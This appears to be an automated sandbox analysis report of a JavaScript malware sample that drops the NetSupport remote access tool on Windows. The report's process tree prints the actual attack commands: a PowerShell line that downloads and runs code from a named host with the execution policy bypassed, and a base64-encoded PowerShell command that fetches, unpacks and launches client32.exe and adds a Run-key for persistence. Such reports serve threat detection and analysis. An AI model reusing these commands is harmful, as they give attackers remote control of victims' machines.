Analysis
- max time kernel
148s - max time network
156s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
05/03/2024, 02:56
General
- Target f6f462ce3420721369633b2feccd18c7d3c0f228629b671c398b675f0eb37e1b.js
- Size 65KB
- Sample240305-de2f4sdf46
- SHA256 f6f462ce3420721369633b2feccd18c7d3c0f228629b671c398b675f0eb37e1b
Malware Config
Extracted
-
ps1
-
ps1.dropper
https://compactgrill.hu/care.txt
Extracted
-
ps1
-
exe.dropper
http://whatisfurosemide.com/f877c2e5-2949-4498-af83-6a5c5jd37342a.txt
Signatures
- NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
- Blocklisted process makes network request 2 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Loads dropped DLL 6 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 7 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\f6f462ce3420721369633b2feccd18c7d3c0f228629b671c398b675f0eb37e1b.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (New-Object Net.WebClient).DownloadString('https://compactgrill.hu/care.txt')"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nopROF -exeCu byPasS -WiNDows hI -E QwBoAGQAaQByACAAJABFAG4AdgA6AEwAbwBDAEEAbABhAHAAcABkAEEAVABhADsAIAAkAGsAbQAxAGgAVABRAEIARwA9AFsAYgB5AHQAZQBbAF0AXQBAACgAOAAwACwAIAA3ADUALAAgADMALAAgADQAKQA7ACAAJABIADQAYgB1AEwAVAA9ACcAaAB0AHQAcAA6AC8ALwB3AGgAYQB0AGkAcwBmAHUAcgBvAHMAZQBtAGkAZABlAC4AYwBvAG0ALwBmADgANwA3AGMAMgBlADUALQAyADkANAA5AC0ANAA0ADkAOAAtAGEAZgA4ADMALQA2AGEANQBjADUAagBkADMANwAzADQAMgBhAC4AdAB4AHQAJwA7ACAAJABhADQARABuAEYAWgB2ADAAPQAnAEMAaQBRAFYAOQBOAC4AegBpAHAAJwA7ACAAJAB1AGIAYgB2AEoAPQAnAFMAdABhAGIAbABlACAAZgBvAGwAZABlAHIAIABtAGEAbgBhAGcAZQByACAAKABtAGEAcgAuADAANAApACcAOwAgACQAawBIAFIAbgBDAGoAPQBpAG4AVgBPAEsAZQAtAFcARQBCAHIARQBxAHUARQBzAFQAIAAtAHUAcgBpACAAJABIADQAYgB1AEwAVAAgAC0AVQBTAGUAYgBBAFMAaQBjAHAAYQBSAFMASQBOAEcAOwAgACQAOQBDAHkAQQBlADQAVQBDAD0AJABrAEgAUgBuAEMAagAuAEMAbwBOAFQARQBOAFQAOwAgACQAZQB4AHMAOABaAFQAPQAkAEUAbgB2ADoATABvAEMAQQBsAGEAcABwAGQAQQBUAGEALAAgACQAdQBiAGIAdgBKACAALQBqAE8AaQBuACAAJwBcACcAOwAgACQAYwAwAEoAQwBvAGIAQwA9AEoATwBJAE4ALQBwAEEAVABIACAALQBQAGEAVABIACAAJABFAG4AdgA6AEwAbwBDAEEAbABhAHAAcABkAEEAVABhACAALQBDAEgAaQBMAGQAcABhAFQAaAAgACQAYQA0AEQAbgBGAFoAdgAwADsAIAAkAGcASABVAEYAdQA9AFsAQwBvAG4AdgBFAHIAVABdADoAOgBGAFIAbwBNAGIAQQBzAGUANgA0AHMAVABSAEkAbgBnACgAJAA5AEMAeQBBAGUANABVAEMAKQA7ACAAJABEAFgARgBpAFUAPQAkAGcASABVAEYAdQAgAC0AUwBwAGwASQB0ACAAJwAgACcAIAAtAGEAcwAgAFsAQgB5AHQAZQBbAF0AXQA7ACAAJABCAHMAQwBtAHcARABwAD0AJABrAG0AMQBoAFQAUQBCAEcAKwAkAEQAWABGAGkAVQA7ACAAcwBFAHQALQBDAG8AbgBUAGUATgBUACAAJABhADQARABuAEYAWgB2ADAAIAAkAEIAcwBDAG0AdwBEAHAAIAAtAEUATgBDAE8AZABJAE4ARwAgAEIAWQBUAEUAOwAgAEUAWABQAEEATgBEAC0AQQByAGMAaABJAFYAZQAgAC0AUABhAHQAaAAgACQAYwAwAEoAQwBvAGIAQwAgAC0ARABlAFMAdABpAG4AQQBUAGkATwBuAHAAYQBUAEgAIAAkAGUAeABzADgAWgBUACAALQBmAE8AcgBDAEUAOwAgAHIAZQBtAG8AdgBlAC0ASQBUAEUAbQAgACQAYQA0AEQAbgBGAFoAdgAwADsAIABDAEQAIAAkAGUAeABzADgAWgBUADsAIAAkAFcAaQBFAEUAYQB3AD0AIgAkAGUAeABzADgAWgBUAFwAYwBsAGkAZQBuAHQAMwAyAC4AZQB4AGUAIgA7ACAAcwB0AGEAcgB0ACAAYwBsAGkAZQBuAHQAMwAyAC4AZQB4AGUAOwAgAG4AZQB3AC0ASQBUAEUAbQBQAHIAbwBwAGUAUgB0AHkAIAAtAHAAQQB0AEgAIAAnAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFIAdQBuACcAIAAtAE4AYQBtAEUAIAAkAHUAYgBiAHYASgAgAC0AdgBBAGwAdQBFACAAJABXAGkARQBFAGEAdwAgAC0AUAByAE8AUABFAHIAVABZAFQAWQBQAGUAIAAnAFMAdAByAGkAbgBnACcAOwA=3⤵
- Blocklisted process makes network request
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Stable folder manager (mar.04)\client32.exe"C:\Users\Admin\AppData\Local\Stable folder manager (mar.04)\client32.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4172 --field-trial-handle=2588,i,14229658658073991926,6938034815163866135,262144 --variations-seed-version /prefetch:81⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
HTCTL32.DLL
NSM.LIC
PCICAPI.dll
PCICL32.DLL
PCICL32.dll
client32.exe
client32.ini
msvcr100.dll
pcichek.dll
__PSScriptPolicyTest_ipvnjxn4.pdt.ps1
memory/1140-23-0x000001F67EA10000-0x000001F67EA20000-memory.dmp
memory/1140-18-0x00007FFB6E540000-0x00007FFB6F001000-memory.dmp
memory/1140-77-0x00007FFB6E540000-0x00007FFB6F001000-memory.dmp
memory/1140-28-0x000001F67E680000-0x000001F67E68A000-memory.dmp
memory/1140-27-0x000001F67E690000-0x000001F67E6A2000-memory.dmp
memory/1140-24-0x000001F67EA10000-0x000001F67EA20000-memory.dmp
memory/2900-25-0x00007FFB6E540000-0x00007FFB6F001000-memory.dmp
memory/2900-65-0x00000222E5BB0000-0x00000222E5BC0000-memory.dmp
memory/2900-11-0x00000222E5BB0000-0x00000222E5BC0000-memory.dmp
memory/2900-64-0x00000222E5BB0000-0x00000222E5BC0000-memory.dmp
memory/2900-12-0x00000222E5BB0000-0x00000222E5BC0000-memory.dmp
memory/2900-10-0x00007FFB6E540000-0x00007FFB6F001000-memory.dmp
memory/2900-9-0x00000222E5CF0000-0x00000222E5D12000-memory.dmp
memory/2900-88-0x00007FFB6E540000-0x00007FFB6F001000-memory.dmp